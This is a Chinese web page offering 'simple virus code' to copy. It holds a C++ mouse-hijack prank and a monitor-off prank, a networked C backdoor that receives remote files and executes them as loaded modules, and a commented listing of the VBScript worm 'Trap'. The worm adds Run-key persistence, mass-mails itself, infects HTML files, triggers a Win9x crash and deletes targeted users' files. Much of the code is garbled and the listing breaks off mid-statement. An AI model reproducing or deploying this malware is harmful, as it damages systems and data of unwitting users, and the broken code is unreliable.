简单的病毒编程代码复制(简单的病毒编程代码bat)

/*此病毒是鼠标乱跑病毒，打开之后鼠标就会不受控制的乱跑，按tab+Alt,再按alt+f4就行*/ #include#include#includeusing namespace std;int main(){system("color 0a");POINT mouse;srand(time(0));while(1){GetCursorPos(&mouse);mouse.x=rand()%1920;mouse.y=rand()%1080;//cout</* 分布式病毒协议的C/C++描述代码Coded by Vxk in CVCCopyRight® 2001-20022002.10.18..night*/#include #include #include #include #include #include typedef struct CONNINST{SOCKET socket; /* 本地Socket号 */unsigned short clientPort; /* 客户端端口 */struct in_addr clientIP; /* 客户端IP地址 */time_t beginTime; /* 连接建立时间 - 预留 */time_t updateTime; /* 最后更新时间 - 预留 */WORD lastestSequenceNumber; /* 最新包序号 */unsigned short key; /* 密钥 - 预留*/unsigned short cmdLen; /* 结果堆长度 */char *pCmd; /* 命令堆 */unsigned short resultLen; /* 结果堆长度 */char *pResult; /* 结果堆 */struct CONNINST* next; /* 下一个请求实例的地址 */}CONNINST, *pCONNINST;typedef struct Maillist{String Address;String Name;Struct Maillist *pNext;}Maillist,*pMaillist;typedef struct Moudlelist{String MoudleName;String MoudleFileName;String MoudleGuid;String UseFor;String MoudleAuther;Struct Moudlelist *pNext;}Moudlelist,*pMoudlelist;typedef struct FileUpData{struct in_addr clientIP;DWORD port;DWORD SAMGuid;String FileName;lvoid cmd;}FileUpData,*pFileUpData;typedef struct DVPPak{String SAMCommand;String Guid;String Auther;lvoid Cmd;pMaillist *pMail;pMoudlelist *pMoudle;String Versionofme;pmyPCinfo *pcinfo;}DVPPak, *pDVPPak;HINSTANCE hInst; /* 当前实例句柄 */HWND hWndMain; /* 主窗口句柄 */SOCKET listenSocket; /* 监听套接口 */pCONNINST pConnInstHead;pCONNINST addConnInst(SOCKET, unsigned short, struct in_addr);pCONNINST getConnInst(SOCKET);void OnWrite(SOCKET socket);int netHalt(void);void delConnInst(pCONNINST);Void DvpExpCmd(Socket s);void delAllConnInst(void);void RecvFileThreadProc(pFileUpData *plm);void SendFileThreadProc(pFileUpData *plm);int uiStartup(HINSTANCE hInstance, int nCmdShow);LRESULT CALLBACK MainWndProc(HWND,UINT,WPARAM,LPARAM);int netStartup(void);void OnAccept(SOCKET socket);void OnClose(SOCKET socket);void OnRead(SOCKET socket);void sendResult(SOCKET socket);int netStartup(void){unsigned short wVersionRequested=MAKEWORD(1,1);WSADATA wsaData;SOCKADDR_IN saServer;DWORD dwAddrStrLen;char szAddress[128];int nRet;/* 初始化WinSock */if(WSAStartup(wVersionRequested, &wsaData)!=0){//("Dvp 错误 :: 网络协议启动失败,请重新启动计算机.");}/* 检查Winsock版本 */if(wsaData.wVersion != wVersionRequested){//("Dvp 错误 :: 网络协议版本错误,请升级Winsock.");}/* 创建流式套接口 */listenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(listenSocket==INVALID_SOCKET){//("ERROR :: Can not create steam socket.");return 0;}/* 通知套接口有请求事件发生 */nRet=WSAAsyncSelect(listenSocket,hWndMain, //在网络事件发生时需要接收消息的窗口句柄UM_ASYNC, //在网络事件发生时要接收的消息FD_ACCEPT | FD_READ | FD_WRITE | FD_CLOSE);//只在程式开始执行一次，以后只要有套接口请求就发送消息if (nRet==SOCKET_ERROR){//("ERROR :: Can not initialize steam socket.");closesocket(listenSocket);return 0;}/* 地址结构设定 */saServer.sin_port=htons(2525); //端口在这里哦saServer.sin_family=AF_INET;saServer.sin_addr.s_addr=INADDR_ANY;/* 将一本地地址3872与套接口listenSocket捆绑 */nRet=bind(listenSocket, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));if (nRet==SOCKET_ERROR){//("ERROR :: Can not bind socket to local port 1936.");//("HINT :: Dvp Kernel Server can only run in one thread.");closesocket(listenSocket);return 0;}/* 让套接口开始监听 */nRet = listen(listenSocket, SOMAXCONN);if (nRet == SOCKET_ERROR){//("ERROR :: Can not listen.");closesocket(listenSocket);return 0;}dwAddrStrLen = sizeof(szAddress);GetLocalAddress(szAddress, &dwAddrStrLen);return 1;}/* Unknown how */int GetLocalAddress(LPSTR lpStr, LPDWORD lpdwStrLen){struct in_addr *pinAddr;LPHOSTENT lpHostEnt;int nRet;int nLen;// Get our local namenRet = gethostname(lpStr, *lpdwStrLen);if(nRet==SOCKET_ERROR){lpStr[0]='';return SOCKET_ERROR;}// "Lookup" the local namelpHostEnt=gethostbyname(lpStr);if(lpHostEnt==NULL){lpStr[0] = '';return SOCKET_ERROR;}// format first address in the listpinAddr=((LPIN_ADDR)lpHostEnt->h_addr);nLen=strlen(inet_ntoa(*pinAddr));if((DWORD)nLen>*lpdwStrLen){*lpdwStrLen=nLen;WSASetLastError(WSAEINVAL);return SOCKET_ERROR;}*lpdwStrLen = nLen;strcpy(lpStr, inet_ntoa(*pinAddr));return 0;}int uiStartup(HINSTANCE hInstance, int nCmdShow){WNDCLASS DvpWindow;HANDLE hObject;/* 创建实例 */hInst=hInstance;/* 判断是否已经运行 */hObject=CreateMutex(NULL,FALSE,"DvpC");if(GetLastError() == ERROR_ALREADY_EXISTS){CloseHandle(hObject);PostQuitMessage(0);return 0;}/* 创建窗口 */DvpWindow.style=0;//指定类的风格DvpWindow.lpfnWndProc=(WNDPROC)MainWndProc;//窗口过程的远指针DvpWindow.cbClsExtra=0;//窗口结构额外字节数DvpWindow.cbWndExtra=0;//窗口实例额外字节数DvpWindow.hInstance=hInstance;//窗口过程所在的实例DvpWindow.hIcon=LoadIcon(hInstance,MAKEINTRESOURCE(MAIN));//调用标识类的图标DvpWindow.hCursor=LoadCursor(NULL,IDC_ARROW);//调用标识类的光标DvpWindow.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);//标识背景类的画刷DvpWindow.lpszMenuName=NULL;//指向标识类菜单资源的字符串，以空字符结束DvpWindow.lpszClassName="DVPSample";//标识本类的名称RegisterClass(&DvpWindow);//注册窗口hWndMain=CreateWindow("DVPSample","DVPSample",WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInstance,NULL);if(!hWndMain) return 0;ShowWindow(hWndMain,SW_HIDE);//显示窗口UpdateWindow(hWndMain);//更新窗口return 1;}//处理窗口消息LRESULT CALLBACK MainWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam){switch(message)//开始处理消息{/* User Interface Message */case WM_CLOSE:return(DefWindowProc(hWnd,message,wParam,lParam));break;case WM_DESTROY:deleteSystrayIcon();PostQuitMessage(0);break;case WM_SIZE:delAllConnInst();break;/* Network Message */case UM_ASYNC:switch(WSAGETSELECTEVENT(lParam)){case FD_ACCEPT:OnAccept((SOCKET)wParam);break;case FD_READ:OnRead((SOCKET)wParam);break;case FD_WRITE:OnWrite((SOCKET)wParam);break;case FD_CLOSE:OnClose((SOCKET)wParam);break;}break;default:return(DefWindowProc(hWnd,message,wParam,lParam));//默认窗口过程的消息处理}return(0);}pCONNINST addConnInst(SOCKET socket, unsigned short port, struct in_addr ip){/* 分配一块新的连接实例 */pCONNINST newConnInst=(pCONNINST)malloc(sizeof(CONNINST));/* 没有内存了 */if(newConnInst==NULL) return NULL;/* 分配一块新的SOCKADDR实例 */// newConnInst->sockAddr=(LPSOCKADDR)malloc(nAddrLen);// newConnInst->sockAddr=malloc(nAddrLen);/* 没有内存了 */// if(newConnInst->lpSockAddr==NULL)// {// free(newConnInst);// return NULL;// }//装填新的请求包newConnInst->socket=socket;newConnInst->clientPort=port;newConnInst->clientIP=ip;newConnInst->pCmd=NULL;newConnInst->pResult=NULL;newConnInst->cmdLen=0;newConnInst->resultLen=0;newConnInst->beginTime=time(NULL);newConnInst->updateTime=newConnInst->beginTime;newConnInst->lastestSequenceNumber=0;newConnInst->next=NULL;//如果请求链表是空的if(pConnInstHead==NULL){//将这个请求作为链表头，放到pConnInstHeadpConnInstHead=newConnInst;}else{pCONNINST tempConn=pConnInstHead;//走到链表尾while(tempConn->next) tempConn=tempConn->next;//追加新包到链表尾tempConn->next=newConnInst;}//返回装填好的包的指针return newConnInst;}pCONNINST getConnInst(SOCKET socket){/* 遍历链表，寻找套接口 */pCONNINST tempConn=pConnInstHead;while(tempConn!=NULL){if(tempConn->socket==socket) break;tempConn=tempConn->next;}/*若没有，返回NULL */return(tempConn);}void delConnInst(pCONNINST pConnInstToDel){/* 如果要删除的是链表头 */if(pConnInstToDel==pConnInstHead){/* pConnInstHead->next 成为头 */pConnInstHead=pConnInstHead->next;/* 对链表头的free()在最后进行 */}else{pCONNINST tempConn=pConnInstHead;/* 从链表头开始 到NULL为止 每次指向下一个*/while(tempConn!=NULL){/* 若当前的下一个是要被删除的 */if (tempConn->next==pConnInstToDel){/* 当前的下一个变成下一个的(要被删除的)下一个 */tempConn->next=pConnInstToDel->next;break;}}}/* 释放pConnInstToDel占用的内存 */free(pConnInstToDel->pCmd);free(pConnInstToDel->pResult);free(pConnInstToDel);return;}void delAllConnInst(void){pCONNINST tempConn=pConnInstHead;pCONNINST tempConn2;/* 遍历链表，依次释放内存 *//* 若存在tempConn则继续for */while(tempConn!=NULL){tempConn2=tempConn->next;// free(tempConn->lpSockAddr);// free(tempConn->pResultBuf);free(tempConn->pCmd);free(tempConn->pResult);free(tempConn);tempConn=tempConn2;}pConnInstHead=NULL;return;}void OnAccept(SOCKET socket){SOCKADDR_IN sockAddrIn;pCONNINST connInst=NULL;SOCKET peerSocket;int tempLength;// accept the new socket descriptortempLength=sizeof(SOCKADDR_IN);peerSocket=accept(listenSocket, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);if(peerSocket==SOCKET_ERROR){if(WSAGetLastError()!=WSAEWOULDBLOCK){//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));return;}}//让它也可以在读写或关闭的时候向窗口发送消息WSAAsyncSelect(peerSocket, hWndMain, UM_ASYNC, FD_READ | FD_WRITE | FD_CLOSE);if(peerSocket==SOCKET_ERROR){//("Error! WSAAsyncSelect error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));return;}//将这已连接的套接口放到链表里connInst=addConnInst(peerSocket, sockAddrIn.sin_port, sockAddrIn.sin_addr);if (connInst==NULL){//内存满了//("Error! Memory is full! The request form %s can not be accepted",inet_ntoa(sockAddrIn.sin_addr));closesocket(peerSocket);return;}//("A new request from: %s is accepted on socket %d.",inet_ntoa(sockAddrIn.sin_addr), peerSocket);return;}void OnClose(SOCKET socket){pCONNINST connInst;// 检查是否已经删除了这个套接口connInst=getConnInst(socket);if (connInst==NULL) return;// It is still in stock list// The client must have to reset the connection.// Clean up.//("The request from %s has been closed. Local socket: %d is free now.", inet_ntoa(connInst->clientIP), connInst->socket);closesocket(connInst->socket);delConnInst(connInst);}/* 可以读取数据了 */void OnRead(SOCKET socket){pCONNINST connInst;int bytesReceive;char* pNewCmd=NULL;/* 查找对应的连接实例 */connInst=getConnInst(socket);/* 如果找不到连接实例, 读光缓冲区, 然后ByeBye */if(connInst==NULL){char buf[1024];while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);closesocket(socket);//("When ready to receive (OnREAD), get some noise - DEBUG");//("it is %c%c%c",buf[0],buf[1],buf[2]);return;}/* 否则将所有数据读入命令堆 */if(connInst->pCmd==NULL){connInst->pCmd=(char*)malloc(64);connInst->cmdLen=0;if(connInst->pCmd==NULL){//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));closesocket(connInst->socket);delConnInst(connInst);return;}}pNewCmd=(char*)malloc(64);if(pNewCmd==NULL){//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));closesocket(connInst->socket);delConnInst(connInst);return;}memset(pNewCmd, 0, 64);bytesReceive=recv(socket, pNewCmd, 64, 0);//("收到:%d字节",bytesReceive);if(bytesReceive==SOCKET_ERROR){//操作此时由于Windows Sockets实现的资源或其它限制的制约而无法调度if(WSAGetLastError()==WSAEWOULDBLOCK) return;//("recv() Error");//("Closing socket: %d", connInst->socket);closesocket(connInst->socket);delConnInst(connInst);return;}/* 有的时候, OnRead消息是假的, 收到的字节数是-1, 要忽略这种情况*/if(bytesReceive>0){connInst->pCmd=(char*)realloc(connInst->pCmd, connInst->cmdLen+bytesReceive);memcpy(&connInst->pCmd[connInst->cmdLen], pNewCmd, bytesReceive);connInst->cmdLen+=bytesReceive;free(pNewCmd);DvpExpCmd(socket);}else{free(pNewCmd);}return;}Void DvpExpCmd(Socket s){pCONNINST connInst=getConnInst(s);char *pThisCmd=NULL; /* 从命令堆里面读取第一个命令包, 这个用来保存命令包的地址 */char *pSwap=NULL; /* 清除命令堆旧命令交换用的指针 */if(pThisCmd==NULL){//("DEBUG - 无法定义命令包起点, 函数返回, 等待命令.");return;}if(pThisCmd > connInst->pCmd){/*如果前面有残余数据, 那么就立刻清除残余数据这种情况遇到的不会多*///("处理残余数据");pSwap=connInst->pCmd;connInst->pCmd=strdup(pThisCmd);connInst->cmdLen-=(pThisCmd-connInst->pCmd);free(pSwap);/* 继续 */}LVoid pak;while (*pThisCmd!=Null){pak+=*pThisCmd;pThisCmd+=sizeof(char);}pDVPPak *myDvp=*(DVPPak*)pak;if(myDvp->SAMCommand=='UPData'){/*对方传文件给我们！！*/pFileUpData *Up=*(FileUpData*)myDvp->cmd;DWORD dwThread;if(*up!=Null){up->clientIP=pThisCmd->clientIP;if(CreateThread(NULL,0,RecvFileThreadProc, *up, 0, &dwThread)==NULL)//文件接受线程{//something wrong with Recv... }else{ if(CheckSam(myDvp->Guid,myDvp->Auther)!='No')//处理权限,自己发挥吧。。。{ int (__stdcall*) MoudleStart=(void*)GetProcAddress(LoadLibrary(UP->FileName),"MoudleStartMe" );MoudleStart(Up->Cmd);//开始执行！}}}free(up);}if(myDvp->SAMCommand=='GetData'){/*2002.10.19*//*对方要我们的文件*/pFileUpData *Up=*(FileUpData*)myDvp->cmd;if(up!=Null){up->clientIP=pThisCmd->clientIP;DWORD dwThread;if(CreateThread(NULL,0,SendFileThreadProc, *up, 0, &dwThread)==NULL)//文件传送线程{//something wrong with Recv... }else{/*传输SamCmmand='UpData',cmd=(lvoid*)up给对方*/}}free(up);}if(myDvp->SAMCommand==Null){/*处理对方发来信息中有用的信息*//*对于我们来讲，这个问题是应该由个人处理的*//*对于这里我们还要给对方返回一包即我们的信息*//*此处需要发送消息到对方，来获得如文件之类的东西*/}free(pThisCmd);free(myDvp);return -1;}void OnWrite(SOCKET socket){pCONNINST connInst;connInst=getConnInst(socket);/* 如果找不到连接实例, 读光缓冲区, 然后ByeBye */if(connInst==NULL){char buf[1024];while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);closesocket(socket);//("When ready to send, get some noise");//("it is %c%c%c",buf[0],buf[1],buf[2]);return;}/* 如果连接实例有需要发送的数据 */if(connInst->pResult!=NULL){sendResult(socket);}return;}void sendResult(SOCKET socket){pCONNINST connInst=getConnInst(socket);int bytesSent;bytesSent=send(connInst->socket, connInst->pResult, connInst->resultLen, 0);if(bytesSent==SOCKET_ERROR){if (WSAGetLastError()!=WSAEWOULDBLOCK){//("send() Error");//("Closing socket: %d", connInst->socket);closesocket(connInst->socket);delConnInst(connInst);return;}}if((unsigned int)bytesSentresultLen)//如果发送的字节少于结果字节{char* temp;connInst->resultLen=connInst->resultLen-bytesSent;temp=(char*)malloc(connInst->resultLen);memcpy(temp,connInst->pResult+bytesSent,connInst->resultLen);free(connInst->pResult);connInst->pResult=temp;}else //如果全部发送完毕{free(connInst->pResult);connInst->resultLen=0;connInst->pResult=NULL;}}int netHalt(void){pCONNINST connTemp;/* 关闭监听套接口 */closesocket(listenSocket);/* 关闭所有正在连接的套接口 */connTemp=pConnInstHead;while(connTemp){closesocket(connTemp->socket);connTemp=connTemp->next;}/* 清除请求包链表 */delAllConnInst();Beep(200,50);WSACleanup();return 1;}int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){MSG msg;/* User Interface Startup */uiStartup(hInstance, nCmdShow);/* Network Startup */netStartup();/*我们在下面应该做些什么？搜索ip连接。。。。。*//* 进入消息循环 */while(GetMessage(&msg,NULL,0,0)){TranslateMessage(&msg);DispatchMessage(&msg);}/* Network Halt*/netHalt();return 0;}void RecvFileThreadProc(pFileUpData *plm){// Open target file// Get remote addressint i,nPort;char svAddress[256];lstrcpyn(svAddress,plm->clientIP->sin_addr->s_addr,256);for(i=0;i<256;i++) {if(svAddress==':') {svAddress='';nPort=atoi(&svAddress[i+1]);break;}}// Put into SOCKADDR_IN structureSOCKADDR_IN saddr;struct hostent *he;DWORD dwIPAddr;dwIPAddr=inet_addr(svAddress);if(dwIPAddr==INADDR_NONE) {he=gethostbyname(svAddress);if(gethostbyname==NULL) {free(plm);return 1;}dwIPAddr=*(DWORD *)he->h_addr_list[0];}memset(&saddr,0,sizeof(SOCKADDR_IN));saddr.sin_family=AF_INET;saddr.sin_port=htons(plm->port);saddr.sin_addr.s_addr=dwIPAddr;// Create socketSOCKET sv;sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);if(s==INVALID_SOCKET) {free(plm);return 1;}// Connect to remote portif(connect(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {closesocket(sv);free(plm);return 1;}// Nonblocking modeDWORD dwBlock=1;ioctlsocket(sv, FIONBIO, &dwBlock);HANDLE hFile;hFile=CreateFile(plm->FileName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(hFile!=NULL) {int nBytes;DWORD dwCount;char svBuffer[1024];do {// Give up timeSleep(20);nBytes=recv(sv,svBuffer,1024,0);if(nBytes>0) {WriteFile(hFile,svBuffer,nBytes,&dwCount,NULL);}} while(nBytes>0);CloseHandle(hFile);}closesocket(sv);return 0;}void SendFileThreadProc(pFileUpData *plm){SOCKET sv;sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);if(sv==INVALID_SOCKET) {free(plm);return -2;}// Bind to desired portSOCKADDR_IN saddr;memset(&saddr,0,sizeof(SOCKADDR_IN));saddr.sin_family=AF_INET;saddr.sin_port=htons(plm->port);saddr.sin_addr.s_addr=0;if(bind(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {closesocket(s);free(pptp);free(ppi);return -1;}listen(sv,MAX_CONNECTIONS);// Nonblocking modeDWORD argp=TRUE;ioctlsocket(sv,FIONBIO,&argp);sleep(1000);SOCKET psv;int tempLength;// accept the new socket descriptortempLength=sizeof(SOCKADDR_IN);psv=accept(sv, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);if(peerSocket==SOCKET_ERROR){if(WSAGetLastError()!=WSAEWOULDBLOCK){//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));return;}}HANDLE hInFile;hInFile=CreateFile(plm->FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);if(hInFile==INVALID_HANDLE_value) {//Couldn't open local file.return -1;}char svBuffer[1024];DWORD dwBytes;do {ReadFile(hInFile,svBuffer,1024,&dwBytes,NULL);if(send(psv,svBuffer,dwBytes,0)<=0) break;} while(dwBytes==1024);closesocket(psv);closesocket(sv);CloseHandle(hInFile);Return -1; }
/* 病毒分类：半玩笑病毒使用效果：不断关闭显示器*/#include#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" ) // 隐藏主窗口int main(){MessageBox(NULL, "即将启动项目-核弹发射准备", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "流浪地球-自焚毁程序启动", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "准备调用全球12个自焚毁程序", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "程序调用成功", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "流浪地球-自焚毁程序已成功装载！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "核弹发射控制芯片已就位！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "助推系统自检完毕！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "核反应堆自检完毕！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "能量传输通道自检完毕！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "核弹已就位！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "控制芯片已传输至核弹！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "点火闸已就位！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "核弹发射密钥已传至核弹！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "核弹发射程序已启动！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "警告，地球将被摧毁！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);Sleep(1000);while (1) {SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2); // 关闭显示器Sleep(1000);} }
请问楼主看得懂么？ 所以我给你一个最简单的：网上的病毒在哪？下载不就得了，用get函数 （其实就是一个病毒下载者）

编写的计算机程序代码统称为恶意代码。恶意代码定义一:恶意代码又称恶意软件。首先，病毒要有感染机制，即它能够实现繁殖自身。其次，病毒要有有效载荷触发事件，即病毒要找到一定数量的感染体、或者某一日期、或者在碰到某一段文本后才能发作。所谓的病毒代码其实可以想象成是犯人的指纹, 当防毒软件公司收集到一只新的病毒时， 他们就会从这个病毒程序中截取一小段独一无二而且足以表示这只病毒的二进位程序码 (Binary Code) , 来当做杀毒程序辨认此病毒的依据。而这段独一无二的二进位程序码就是所谓的病毒代码。病毒代码它可以把计算机程序打乱，使计算机无法正常使用。

下面就对“陷阱”的发作过程和源代码作详细的揭密。 病毒具有自身加密能力(使用 JavaScript 编码技术)，使得普通用户无法看到病毒原码，但在被感染 VBS 文件中并没有加密，于是作为一个入口点，我非常轻松地得到所有源码。'@ thank you! make use of other person to get rid of an enemy, trap _2001'这句话的意思可能是“借刀杀人”，然后是病毒名称“陷阱”on error resume nextdim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Strdim defpath, smailc, MAX_SIZEdim whb(), title(10)smailc = 4Redim whb(smailc) ’白宫相关人员邮件名单whb(0) = "president@whitehouse.gov"whb(1) = "vice.president@whitehouse.gov "whb(2) = "first.lady@whitehouse.gov"whb(3) = "mrs.cheney@whitehouse.gov"'发送邮件的主题title(0) = "Thanks for helping me!"title(1) = "The police are investigating the robbery"title(2) = "an application for a job "title(3) = "The aspects of an application process pertinent to OSI"title(4) = "What a pleasant weather. Why not go out for a walk?"title(5) = "These countries have gone / been through too many wars"title(6) = "We've fixed on the 17th of April for the wedding"title(7) = "The wind failed and the sea returned to calmness."title(8) = "the sitting is open!"title(9) = ""defpath = "C:Readme.html" ' 病毒文件MAX_SIZE = 100000 ' 定义传染文件的最大尺寸MSWKEY = "HKEY_LOCAL_MACHINESoftWareMicrosoftWindows"HCUW = "HKEY_CURRENT_USERSoftwareMicrosoftWAB"mainsub main() '主程序on error resume nextdim w_sw_s= WScript.ScriptFullName '得到病毒文件本身的路径if w_s = "" thenErr.Clearset fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象if getErr then '辨认病毒状态Randomize '初始化随机种子ra = int(rnd() * 7) '产生随机数doucment.write title(ra) ' 写随机内容ExecuteMail '执行邮件状态时的程序elseExecutePage '执行 WEB 页状态时的程序end ifelseExecuteVbs '执行 VBS 文件状态时的程序end ifend subFunction getErr() 忽略错误if Err.number<>0 thengetErr=trueErr.ClearelsegetErr=falseend ifend functionsub ExecutePage() 'WEB 页状态时的程序on error resume nextdim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vfVbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码Js_Str = GetJavaScript() ' 得到 Javascript 代码Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码Gf'定义病毒文件的路径wdsf = w2 & "Mdm.vbs"wdsf2 = w1 & "Profile.vbs"wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人wdf2 = w2 & "Readme.html"wdf3 = w2 & "system.dll"'创建病毒文件set vf = fso.OpenTextFile (wdf, 2, true)vf.write Vbs_Strvf.closeset vf = fso.OpenTextFile (wdsf, 2, true)vf.write Vbs_Strvf.closeset vf = fso.OpenTextFile (wdsf2, 2, true)vf.Write Vbs_Strvf.closeset vf = fso.OpenTextFile (wdf2, 2, true)vf.write Html_Strvf.closeset vf = fso.OpenTextFile (wdf3, 2, true)vf.write Code_Strvf.close修改注册表，让病毒文件在每一次计算机启动自动执行Writereg MSWKEY & "CurrentVersionRunMdm", wdsf, ""Writereg MSWKEY & "CurrentVersionRunServicesProfile", wdsf2, ""SendMail ' 执行发送邮件程序Hackpage ' 执行感染网站程序set adi = fso.Drivesfor each x in adiif x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和网络共享硬盘call SearchHTML(x & "") '执行文件感染程序end ifnextif TestUser then '检查用户Killhe 执行删除文件操作elseif Month(Date) & Day(Date) = "75" then '如系统时间为 7月5日set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) ’创建系统攻击文件vf.write MakeScript ("window.navigate ('c:/con/con');", false)vf.closeWritereg MSWKEY & "CurrentVersionRun75", w2 & "75.htm", "" '自动启动window.navigate "c:/con/con" '立刻蓝屏，利用 Windows BUG，能引起 Win9X 系统100%死机（即无法恢复的蓝屏）else '如不是7.5if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 删除75.htmend ifend ifif fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:Readme.html 病毒文件end subsub ExecuteMail() '邮件状态时执行的程序on error resume nextVbs_Str = GetScriptCode("vbscript")Js_Str = GetJavaScript()Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象with Stl.Reset.Path = defpath.Doc = MakeHtml(encrypt(Vbs_str), true).Write() '创建 C:Readme.html 文件end withwindow.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口end subsub ExecuteVbs() ' 同理，如病毒文件是 VBS 时所执行的程序on error resume nextdim x, adi, wvbs, ws, vfset fso = CreateObject("Scripting.FileSystemObject")set wvbs = CreateObject("WScript.Shell")Gfwvbs.RegWrite MSWKEY & "Windows Scripting HostSetingsTimeout", 0, "REG_DWORD"set vf = fso.OpenTextFile (w2 & "system.dll", 1)Code_Str = vf.ReadAll()vf.closeHackpageSendMailset adi = fso.Drivesfor each x in adiif x.DrivesType = 2 or x.DrivesType = 3 thencall SearchHTML(x & "")end ifnextif TestUser then Killheend subsub Gf() '得到系统路径w1=fso.GetSpecialFolder(0) & ""w2=fso.GetSpecialFolder(1) & ""end subfunction Readreg(key_str) '读注册表set tmps = CreateObject("WScript.Shell")Readreg = tmps.RegRead(key_str)set tmps = Nothingend functionfunction Writereg(key_str, Newvalue, vtype) '写注册表set tmps = CreateObject("WScript.Shell")if vtype="" thentmps.RegWrite key_str, Newvalueelsetmps.RegWrite key_str, Newvalue, vtypeend ifset tmps = Nothingend functionfunction MakeHtml(Sbuffer, iHTML) '创建HTML 文件的完整代码dim raRandomizera = int(rnd() * 7)MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "<" & "/HEAD>" & _"" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _"<" & "/BOAD><" & "/HTML>"end Functionfunction MakeScript(Codestr, iHTML) '此程序是病毒进行自我加密过程,较为复杂，不再描述if iHTML thendim DocuWriteDocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>n'+" & _"jword" & "+'n');"DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>n'+" & _"nword" & "+'n');"MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & ""elseMakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & ""end ifend functionfunction GetScriptCode(Languages) ' 得到不同脚本语言的代码dim sojfor each soj in document.scriptsif LCase(soj.Language) = Languages thenif Languages = "javascript" thenif len(soj.Text)> 200 thenelseGetScriptCode = soj.Textexit functionend ifelseGetScriptCode = soj.Textexit functionend ifend ifnextend functionfunction GetJavaScript()GetJavaScript = GetScriptCode("javascript")end functionfunction TestUser() '检测用户过程on error resume nextdim keys(6), i, tmpStr, Wnet'特定用户关键词keys(0) = "white home"keys(1) = "central intelligence agency"keys(2) = "bush"keys(3) = "american stock exchang"keys(4) = "chief executive"keys(5) = "usa"TestUser = falseSet Wnet = CreateObject("WScript.Network") '创建网络对象'下面一共3个循环，作用一样，是检查用户的 Domain、用户名和计算机名是否含有以上的5个关键词语，一旦含有程序将返回”真”的条件，从而对这些用户的文件进行疯狂删除。tmpStr = LCase(Wnet.UserName) 'for i=0 to 4if InStr(tmpStr, keys(i)) > 0 thenTestUser=trueexit functionend ifnexttmpStr = 